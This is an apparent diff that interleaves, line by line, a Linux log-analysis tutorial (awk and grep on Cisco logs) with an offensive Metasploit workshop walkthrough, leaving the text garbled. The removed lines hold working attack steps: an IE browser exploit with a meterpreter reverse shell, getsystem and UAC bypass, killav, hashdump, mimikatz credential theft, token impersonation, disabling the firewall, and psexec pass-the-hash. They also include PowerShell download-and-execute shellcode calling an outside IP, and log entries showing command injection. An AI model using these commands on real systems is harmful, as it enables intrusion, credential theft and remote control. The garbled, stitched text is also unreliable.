+<189>Nov 11 2006 17:53:31: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=tar%20-xvzf%20/tmp/.ICE-unix/11232.tgz
 <189>Nov 11 2006 17:53:53: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/
-use exploit/windows/browser/ie_cgenericelement_uaf
+<189>Nov 11 2006 17:54:07: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
 <189>Nov 11 2006 17:56:56: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/
-set ExitOnSession false
+<189>Nov 11 2006 17:57:00: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la
 
-set URIPATH /ie8
+
 
-set PAYLOAD windows/meterpreter/reverse_tcp
+
 
-set LHOST InfoSecAddictsVM
+
 ##############################################
-exploit -j
+# Log Analysis with Linux command-line tools #
 ##############################################
 The following command line executables are found in the Mac as well as most Linux Distributions.
-- Now from the Win7 host, use Internet Explorer 8 to connect to the exploit address (local address)
+
-- given to you by metasploit.
+cat –  prints the content of a file in the terminal window
 grep – searches and filters based on patterns
-- The address will be something like:
+awk –  can sort each row into fields and display only what is needed
 sed –  performs find and replace functions
-http://infosecaddicts-VM-IP:8080/ie8
+sort – arranges output in an order
 uniq – compares adjacent lines and can report, filter or provide a count of duplicates
 
 
-- This will simulate a victim clicking on your malicious link and being exploited with a browser exploit.
+##############
 # Cisco Logs #
 ##############
-###########################
+
-# Client-Side Enumeration #
+AWK Basics
-###########################
+
 To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
 
-- You can list the active sessions by typing:
+-----------------------------Type this-----------------------------------------
-------------------------Type This------------------------------
+cat cisco.log | awk '{print $5}' | tail -n 4
-sessions -l
+-------------------------------------------------------------------------------
 
 
 
 Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
-- You can "interact" with any active session by typing sessions -i 3 (replace 3 with the session number you want to interact with)
+
 -----------------------------Type this-----------------------------------------
-------------------------Type This------------------------------
+cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
-sessions -i 1
+-------------------------------------------------------------------------------
 
 
 
 While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
 
-- You should now see Metasploit's meterpreter prompt.
+-----------------------------Type this-----------------------------------------
 cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
 -------------------------------------------------------------------------------
-********************************** Figure out who and where you are **********************************
+
 
-meterpreter> sysinfo
+
 
 Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
-meterpreter> getuid
+
 -----------------------------Type this-----------------------------------------
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:
-meterpreter> ipconfig
+
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
 
-meterpreter> run post/windows/gather/checkvm
+cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
 
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
-meterpreter> run get_local_subnets
+--------------------------------------------------------------------------------
 
 
 
-********************************** Escalate privileges and get hashes **********************************
+
 Let's really have some fun:
 -----------------------------Type this-----------------------------------------
-meterpreter> use priv
+cat cisco.log | grep '^[*]' | awk '{print $1, $2, substr($3, 1, 2)":00", "-", substr($3, 1, 2)":59", $5, $6, $7, $8, $9}' | sort | uniq -c | awk '{print $1 " events between " $2 " " $3 " and " $4 $5 " -", $6, $7, $8, $9, $10}' | sort -rn
 --------------------------------------------------------------------------------
 
---Option 1: GetSystem
+Explanation:
-meterpreter> getsystem
+$1, $2: The month and day (*Sep 4).
 substr($3, 1, 2)":00": The start of the hour (05:00).
---Option 2:
+substr($3, 1, 2)":59": The end of the hour (05:59).
-meterpreter > run post/windows/escalate/getsystem
+$5, $6, $7, $8, $9: The event type and details.
 awk: Formats the output to clearly show "X events between [date] [start time] and [end time] - [event details]".
---Option 3:
+
-meterpreter> background
+
-back
+
-use post/windows/escalate/droplnk
+Find All SSH-Related Events and Group by Action (Enabled/Disabled)
-set SESSION 1
+-----------------------------Type this-----------------------------------------
-set PAYLOAD windows/meterpreter/reverse_tcp
+cat cisco.log | grep '%SSH-' | awk '{print $1, $2, substr($3, 1, 2)":00", "-", substr($3, 1, 2)":59", $5, $6, $7, $8}' | sort | uniq -c | awk '{print $1 " SSH events between " $2 " " $3 " and " $4 $5 " -", $6, $7, $8, $9}' | sort -rn
-set LHOST infosecaddicts-VM-IP
+
-set LPORT 1234
+--------------------------------------------------------------------------------
-exploit
+
 Explanation:
---Option 4:
+This command finds all SSH-related events (%SSH-).
-use exploit/windows/local/bypassuac
+It shows when SSH was enabled or disabled within specific time ranges.
-set SESSION 1
+You get the number of SSH events that occurred in each hour.
-set PAYLOAD windows/meterpreter/reverse_tcp
+
-set LHOST infosecaddicts-VM-IP
+
-set LPORT 12345
+
-exploit
+Count Interface State Changes (Up/Down) and Group by Interface
 -----------------------------Type this-----------------------------------------
---Option 5:
+cat cisco.log | grep '^[*]' | awk '{print $1, $2, substr($3, 1, 2)":00", "-", substr($3, 1, 2)":59", $5, $6, $7, $8, $9}' | sort | uniq -c | awk '{print $1 " events between " $2 " " $3 " and " $4 $5 " -", $6, $7, $8, $9, $10}' | sort -rn
-use exploit/windows/local/service_permissions
+
-set SESSION 1
+--------------------------------------------------------------------------------
-set PAYLOAD windows/meterpreter/reverse_tcp
+
-set LHOST infosecaddicts-VM-IP
+Explanation:
-set LPORT 5555
+This command captures log entries related to interface state changes (%LINEPROTO-5-UPDOWN).
-exploit
+It groups events by interface name and shows whether the state changed to "up" or "down" during a specific hour.
 Useful for analyzing interface reliability or troubleshooting connectivity issues.
---Option 6:
+
-use exploit/windows/local/trusted_service_path
+
-set SESSION 1
+
-set PAYLOAD windows/meterpreter/reverse_tcp
+Find All Configuration Changes by User
-set LHOST infosecaddicts-VM-IP
+-----------------------------Type this-----------------------------------------
-set LPORT 4567
+grep '%SYS-5-CONFIG_I' cisco.log | awk '{month=$1; day=$2; time=$3; hour=substr(time,1,2); user=$NF; start_time=hour ":00"; end_time=hour ":59"; print month, day, start_time, end_time, user}' | sort | uniq -c | awk '{print $1 " configuration change(s) between " $2 " " $3 " and " $4 " " $5 " by user " $6}' | sort -rn
-exploit
+--------------------------------------------------------------------------------
 
 Explanation:
---Option 7:
+This command finds configuration changes from the %SYS-5-CONFIG_I log entries.
-use exploit/windows/local/ppr_flatten_rec
+It shows the time and user who made the changes, making it easy to audit the configuration changes.
-set SESSION 1
+Useful for understanding when and by whom system settings were modified.
-set PAYLOAD windows/meterpreter/reverse_tcp
+
-set LHOST infosecaddicts-VM-IP
+
-set LPORT 7777
+
-exploit
+Track DHCP Events and Conflicts
 -----------------------------Type this-----------------------------------------
---Option 8:
+cat cisco.log | grep '%DHCPD-' | awk '{print $1, $2, substr($3, 1, 2)":00", substr($3, 1, 2)":59", $5, $6, $7, $8, $9, $10}' | sort | uniq -c | awk '{print $1 " DHCP events between " $2 " " $3 " and " $4 " -", $5, $6, $7, $8, $9, $10}' | sort -rn
-use exploit/windows/local/ms_ndproxy
+--------------------------------------------------------------------------------
-set SESSION 1
+
-set PAYLOAD windows/meterpreter/reverse_tcp
+Explanation:
-set LHOST infosecaddicts-VM-IP
+This command identifies DHCP-related logs (e.g., address conflicts).
-set LPORT 7788
+It helps troubleshoot IP conflicts and DHCP server issues.
-exploit
+By grouping the events by hour, you can identify when DHCP issues are most frequent.
 
 
---Option 9:
+
-use exploit/windows/local/ask
+
-set SESSION 1
+
-set PAYLOAD windows/meterpreter/reverse_tcp
+
-set LHOST infosecaddicts-VM-IP
+
-set LPORT 7799
+
-exploit
+1. Process: Read, Write, and Math
 In Linux, processing involves reading input (from files or commands), writing output, and performing calculations.
 
-meterpreter > getuid
+Example: Basic File Processing
-Server username: win7-64-victim\Workshop
+# Process: Read each line in a file (log.txt)
 -----------------------------Type this-----------------------------------------
-meterpreter > getsystem
+echo "success" > log.txt
-...got system (via technique 1).
+echo "error" >> log.txt
 echo "success" >> log.txt
 cat log.txt
-meterpreter > getuid
+--------------------------------------------------------------------------------
-Server username: NT AUTHORITY\SYSTEM
+This command reads (processes) the contents of a file.
 
 Example: Writing Output
 
 # Process: Write "Issue found" to a file (output.txt)
-meterpreter > ps                (search for a process running as NT AUTHORITY\SYSTEM)
+-----------------------------Type this-----------------------------------------
 echo "Issue found" >> output.txt
-meterpreter > migrate 2800      (your process id WILL NOT be 2800, but make sure you use one that is running at NT AUTHORITY\SYSTEM)
+cat output.txt
 -------------------------------------------------------------------------------
-meterpreter> run killav
+This writes the output into a file.
 
-meterpreter> run post/windows/gather/hashdump
+Example: Math (Simple Arithmetic)
 # Process: Add two numbers
-meterpreter> run post/windows/gather/credentials/credential_collector
+-----------------------------Type this-----------------------------------------
 echo $((2 + 3))
 -------------------------------------------------------------------------------
-********************************** Steal Tokens **********************************
+In this example, Linux is used to perform basic arithmetic.
 
-meterpreter > getsystem
+2. Decision: If/Then
 In Linux, conditional logic is handled using if statements, similar to the decision-making process in programming languages.
-meterpreter > use incognito
+
 Example: Conditional Logic (Decision)
-meterpreter > list_tokens -u
+# Decision: If a log line contains the word "error", then write "Found an error"
 -----------------------------Type this-----------------------------------------
-meterpreter > list_tokens -g
+if grep -q "error" log.txt; then
   echo "Found an error" >> output.txt
-meterpreter > impersonate_token                         <-- choose who you want to impersonate but be sure to use 2 slashes in the name (ex: impersonate_token domain\\user)
+fi
 -------------------------------------------------------------------------------
-meterpreter> getuid
+
 
 -----------------------------Type this-----------------------------------------
-************ Stealing credentials and certificates ************
+cat output.txt
-- NOTE: Most of the stuff after 'kerberos' DOES NOT work, but is given here so you know the correct syntax to use when connected to AD or dealing with smart/CAC cards.
+-------------------------------------------------------------------------------
 Process: Read the file log.txt and search for the word "error".
-meterpreter > getsystem
+Decision: If the word "error" is found, write "Found an error" to output.txt.
 
-meterpreter > load mimikatz
+3. Loop: For
 Loops are used to repeat a set of instructions. In Linux, the for loop is common for automating repetitive tasks.
-meterpreter > kerberos
+
 Example: Looping Over File Lines
-meterpreter > mimikatz_command -f sekurlsa::logonPasswords -a "full"
+
 # Loop: For each line in the file, check for "error"
-meterpreter > msv                                                               <-- Your AD password
+-----------------------------Type this-----------------------------------------
 while read line; do
-meterpreter > livessp                                                           <-- Your Windows8 password
+  # Decision: If line contains "error", then process it
   if [[ $line == *"error"* ]]; then
-meterpreter > ssp                                                               <-- Your outlook password
+    echo "Found error: $line"
   fi
-meterpreter > tspkg                                                             <-- Your AD password
+done < log.txt
 -------------------------------------------------------------------------------
-meterpreter > wdigest                                                           <-- Your AD password
+
 
-meterpreter > mimikatz_command -f crypto::listStores
+Putting It All Together
 Using the Process, Decision, and Loop concepts, you can automate Linux commands. Let’s build an automation that checks each line of a log file for errors and reports them.
-meterpreter > mimikatz_command -f crypto::listCertificates
+
 Automation Example:
-meterpreter > mimikatz_command -f crypto::exportCertificates CERT_SYSTEM_STORE_CURRENT_USER
+# Automation to scan a file for errors
 
-meterpreter > mimikatz_command -f crypto::patchcapi
+# Loop: For each line in the file
 -----------------------------Type this-----------------------------------------
-meterpreter> search -d <directory> -f <file-pattern>
+while read line; do
   # Decision: If the line contains "error"
   if [[ $line == *"error"* ]]; then
-********************************** Enumerate the host you are on **********************************
+    # Process: Write "Found error" to the output
     echo "Found error: $line" >> output.txt
-meterpreter > run getcountermeasure
+  fi
 # Process: Read from log.txt
-meterpreter> run winenum
+done < log.txt
 -------------------------------------------------------------------------------
-meterpreter > run post/windows/gather/enum_applications
+
 
-meterpreter > run post/windows/gather/enum_logged_on_users
+-----------------------------Type this-----------------------------------------
 cat output.txt
-meterpreter > run post/windows/gather/usb_history
+-------------------------------------------------------------------------------
 Breakdown:
-meterpreter > run post/windows/gather/enum_shares
+Loop: The while read loop processes every line in the file.
 Decision: The if [[ $line == *"error"* ]] checks if the line contains the word "error".
-meterpreter > run post/windows/gather/enum_snmp
+Process: If the condition is met, it writes the error to an output file.
 Using the Pastebin Commands:
-meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
+
 
 
-********************************** FIX PSEXEC **********************************
+
 
-- We use the shell command to get to the Victim Dos command so we can add a registry field.
+
-------------------------Type This------------------------------
+1. Lesson 1: Reading and Processing Log Files (Process)
-meterpreter > execute -c -H -f cmd -a "/k" -i
+Objective: Teach how to read and analyze the contents of a log file.
-reg /?
+
 Command:
 
-- Created a registry field to the Victim computer, this will allow us to access the machine using and exploit via PSEXEC.
+# Process: Read the log file
-------------------------Type This------------------------------
+-----------------------------Type this-----------------------------------------
-C:\Windows\system32> reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system  /v LocalAccountTokenFilterPolicy  /t REG_DWORD  /d  1
+cat cisco.log
 -------------------------------------------------------------------------------
 Explanation:
-c:\Windows\system32> netsh advfirewall set allprofiles state off
+
 The cat command reads and displays the content of the cisco.log file in the terminal.
-********************************** Lateral Movement *******************************
+Extension:
 
 Use filtering to show how to search for important events like "up" or "down" interface states:
-Now we can run the PSEXEC exploit.
+# Process: Search for interface state changes in the log
--- Option 1:
+-----------------------------Type this-----------------------------------------
-use exploit/windows/smb/psexec
+grep "changed state" cisco.log
 -------------------------------------------------------------------------------
-set SMBUser Workshop
+This filters the log to only show lines where the interface state has changed.
 
-set SMBPass password
+2. Lesson 2: Making Decisions Based on Log Data (Decision)
 Objective: Teach how to implement logic (if/then decisions) in the context of log file analysis.
-set RHOST Win7-VM-IP
+
 Command:
-set payload windows/meterpreter/reverse_tcp
+
 # Decision: If the log contains any "down" interface, notify the user
-set LHOST infosecaddicts-VM-IP
+-----------------------------Type this-----------------------------------------
 if grep -q "down" cisco.log; then
-set LPORT 2345
+  echo "An interface went down"
 else
-exploit
+  echo "No interfaces are down"
 fi
 -------------------------------------------------------------------------------
 Explanation:
 
--- Option 2:
+Process: The command uses grep -q to check if any line in the file contains the word "down".
-use exploit/windows/smb/psexec
+Decision: The if statement checks whether an interface went down and prints a message accordingly.
 3. Lesson 3: Looping Through Log Entries (Loop)
-set SMBUser Workshop
+Objective: Teach how to loop through each line of the log file, checking for specific conditions.
 
-set SMBPass aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
+Command:
 
-set payload windows/meterpreter/reverse_tcp
+# Loop: For each line in the log file, check for state changes
 -----------------------------Type this-----------------------------------------
-set RHOST Win7-VM-IP
+while read line; do
   if [[ $line == *"changed state to down"* ]]; then
-set LHOST infosecaddicts-VM-IP
+    echo "Interface went down: $line"
   fi
-set LPORT 5678
+done < cisco.log
 -------------------------------------------------------------------------------
-exploit
+Explanation:
-####################################################
+
-# Running Powershell From A Command Prompt         #
+Loop: This script uses while read to loop over each line in the cisco.log file.
-# Using Powersploit & Nishang			           #
+Decision: For each line, it checks if the line contains the phrase "changed state to down".
-####################################################
+Process: If the condition is met, it prints the line where the interface went down.
 4. Lesson 4: Searching for Specific Events in Logs (Process & Decision)
-COMMAND & 1 PARAMATER SYNTAX:
+Objective: Teach how to search for a range of specific events like DHCP conflicts and SSH status changes.
-	powershell -command "& {&'some-command' someParam}"
+
 Command:
 
 # Process: Search for SSH enable/disable events and DHCP conflicts
-MULTIPLE COMMAND & PARAMETER SYNTAX
+-----------------------------Type this-----------------------------------------
-	powershell -command "& {&'some-command' someParam}"; "& {&'some-command' -SpecificArg someParam}"
+grep -E "SSH|DHCP" cisco.log
 -------------------------------------------------------------------------------
 Extension:
 Use conditional analysis for different types of events:
-Tools to download to the web root (/var/www) of your infosecaddicts-Ubuntu-VM:
+
-git clone https://github.com/mattifestation/PowerSploit.git
+
-git clone https://github.com/samratashok/nishang
+# Loop: Process each log line for different events (SSH, DHCP)
 -----------------------------Type this-----------------------------------------
-from the infosecaddicts home dir copy nc.exe to /var/www/ folder
+while read line; do
   case "$line" in
-user:infosecaddicts
+    *"SSH-5-ENABLED"*)
-pass:infosecaddicts
+      echo "SSH enabled: $line" ;;
     *"SSH-5-DISABLED"*)
       echo "SSH disabled: $line" ;;
     *"DHCPD-4-PING_CONFLICT"*)
-sudo cp nc.exe /var/www/
+      echo "DHCP conflict detected: $line" ;;
   esac
-cd /var/www/html/
+done < cisco.log
-sudo git clone https://github.com/samratashok/nishang
+-------------------------------------------------------------------------------
-sudo git clone https://github.com/mattifestation/PowerSploit
+Explanation:
 
 Process: This command uses grep -E to search for multiple patterns (SSH and DHCP events).
-********************************** Simple Ping Sweep **********************************
+Loop & Decision: It loops through each log entry and classifies it based on the event type.
-powershell -command "50..100 | % {\""149.28.201.$($_): $(Test-Connection -count 1 -comp 149.28.201.$($_) -quiet)\""}"
+5. Lesson 5: Counting Events and Generating a Summary (Process & Loop)
 Objective: Teach how to summarize log file data by counting occurrences of specific events.
 
 Command:
 
 # Process: Count occurrences of SSH enable, disable, and DHCP conflicts in the log
-********************************** Simple Port 445 Sweep **********************************
+-----------------------------Type this-----------------------------------------
-powershell -command "1..255 | % { echo ((new-object Net.Sockets.TcpClient).Connect(\""149.28.201.$_\"",445)) \""149.28.201.$_\""} 2>$null"
+echo "SSH enabled count: $(grep -c "SSH-5-ENABLED" cisco.log)"
 echo "SSH disabled count: $(grep -c "SSH-5-DISABLED" cisco.log)"
 echo "DHCP conflict count: $(grep -c "DHCPD-4-PING_CONFLICT" cisco.log)"
 -------------------------------------------------------------------------------
 Explanation:
 
 Process: The grep -c command counts the number of times each event occurs in the log.
-********************************** Simple Port Scan **********************************
+Loop: This approach can be extended to process the entire file and generate useful statistics.
-powershell -command "1..1024 | % { echo ((new-object Net.Sockets.TcpClient).Connect(\""149.28.201.XX\"",$_)) \""$_ is open\""} 2>$null"
+6. Lesson 6: Automating Responses to Critical Log Events (Loop & Decision)
 Objective: Automate responses based on critical events found in the log file.
 
 Command:
 
 
 # Loop through log entries and perform actions based on the content
-********************************** Download a file **********************************
+-----------------------------Type this-----------------------------------------
-powershell -command "(New-Object System.Net.WebClient).DownloadFile('http://149.28.201.171/nc.exe', 'nc.exe')"
+while read line; do
   if [[ $line == *"changed state to down"* ]]; then
     # Decision: Take action for critical events (interface down)
     echo "Critical issue detected: $line"
     # Example action: Send alert (e.g., email or log the event)
     echo "Alert: Interface down on $(echo $line | cut -d' ' -f7)" >> alerts.log
-********************************** Downloading files: Binaries **********************************
+  fi
-powershell -command "(New-ObjectSystem.Net.WebClient).DownloadFile("http://149.28.201.171/nc.exe","c:\nc.exe")"
+done < cisco.log
 -------------------------------------------------------------------------------
 Explanation:
 
 Loop: The script iterates through each log entry.
 Decision: It checks for the phrase "changed state to down" and triggers an action such as logging the issue or sending an alert.
-********************************** Text file stdout to local file  **********************************
+Summary of Key Concepts
-(New-Object System.Net.WebClient).DownloadString("http://149.28.201.171/PowerSploit/CodeExecution/Invoke-Shellcode.ps1") | Out-File -Encoding ASCII Invoke-Shellcode.ps1
+Process:
 
 Reading from files (cat, grep).
 Writing to files (echo).
 Counting and summarizing log data (grep -c).
-********************************** Powershell Download & Execute Reverse Meterpreter **********************************
+Decision:
-from ubuntu host browse to metasploit folder
+
-cd ~/toolz/metasploit/
+if statements to check log entries for specific keywords (like "down", "SSH", or "DHCP").
 Using case to classify log entries based on event types.
-./msfconsole
+Loop:
-use exploit/multi/handler
+
-set ExitOnSession false
+while read loops to process each line in the log file.
-set payload windows/meterpreter/reverse_https
+Automating responses for specific conditions in the log (e.g., critical errors, DHCP conflicts).
-set LHOST 149.28.201.171
+Final Activity: Automating a Log Monitoring System
-set LPORT 4443
+Objective: Use a combination of the above commands to create an automated log monitoring system that processes the cisco.log file and detects important events.
-set EXITFUNC thread
+
-exploit -j
+Example:
 
 
 # Automated log monitoring system
-powershell -command "IEX (New-Object Net.WebClient).DownloadString('https://s3.amazonaws.com/infosecaddictsfiles/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 149.28.201.171 -Lport 4443 -Force"
+-----------------------------Type this-----------------------------------------
 while read line; do
   if [[ $line == *"changed state to down"* ]]; then
     echo "Critical Issue: Interface down: $line" >> critical_issues.log
   elif [[ $line == *"DHCPD-4-PING_CONFLICT"* ]]; then
     echo "DHCP conflict detected: $line" >> dhcp_conflicts.log
-********************************** Payload which could execute shellcode from DNS TXT queries. **********************************
+  elif [[ $line == *"SSH-5-ENABLED"* || $line == *"SSH-5-DISABLED"* ]]; then
-powershell.exe (new-object System.Net.WebClient).DownloadFile('http://149.28.201.171/nishang/Execution/Execute-DNSTXT-Code.ps1','%TEMP%\Execute-DNSTXT-Code.ps1')
+    echo "SSH event: $line" >> ssh_events.log
-powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Execute-DNSTXT-Code.ps1 32.alteredsecurity.com 64.alteredsecurity.com ns8.zoneedit.com
+  fi
 done < cisco.log
 -------------------------------------------------------------------------------
 This script classifies and logs different events (interface down, DHCP conflicts, and SSH status changes) into their respective logs.